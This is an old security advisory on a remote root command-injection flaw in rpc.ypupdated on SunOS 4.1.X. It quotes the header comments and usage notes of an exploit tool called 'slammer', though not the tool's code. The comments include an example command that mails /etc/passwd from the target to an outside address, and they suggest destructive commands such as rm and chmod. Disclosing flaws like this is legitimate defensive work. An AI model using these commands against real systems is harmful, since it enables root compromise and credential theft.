 This may or may not concern this list. It is posted in the hopes that it 
may alert affected any affected parties. 


		      Avalon Security Research 
			    Release 1.0
			    (ypupdated)	

Affected Program: rpc.ypupdated

Tested Operating Systems: SunOS 4.1.X

Affect: Remote users may pass arbitrary root commands on target
hosts running ypupdated and keyserv.

Bug Synopsis:
     When ypupdated recieves requests to update yp maps on a host machine
     it forks and executes a copy of the bourne shell. Through the bourne 
     shell meta characters may be passed into the arguments causing a
     security breach.

 /* slammer.c
 *    By Josh D. February 7th 1994 AD
 *    usage slammer target "cmd arg1 arg2 agr3 ....."
 *    the target must be running ypupdated
 *    keyserv, and ypbind MUST be running, if they aren't see README.     
 *    this program is built to run on a sunOS 4.1.X machine, running
 *    it on anything else will probably cause a linker error or a core dump
 *    if the program core dumps on a sunos 4.1.X someone has given you
 *    a broken copy or your local machine is not setup correctly (see
 *    README)
 *    caveat: your command will be exec'd on the receiving end of a pipe
 *    so redirecting stdin will cause the input file to be zero'd
 *    example: slammer joe.target.com "mail me @
 mysite .
 com < /etc/passwd"
 *    will not only not work, but will also zero the passwd file
 *    solution: use only non-interactive commands, e.g. rm, cp, chmod, mv, etc. 
 *    -SW

In order for slammer to work correctly the following parameters must be met:

Target Host *MUST* be running both ypupdated and keyserv. If this is not the
case Slammer will return non-zero error code.
       
syntax: slammer target.com "arbitrary command"

If slammer is succesfull you will be returned to your initial prompt.
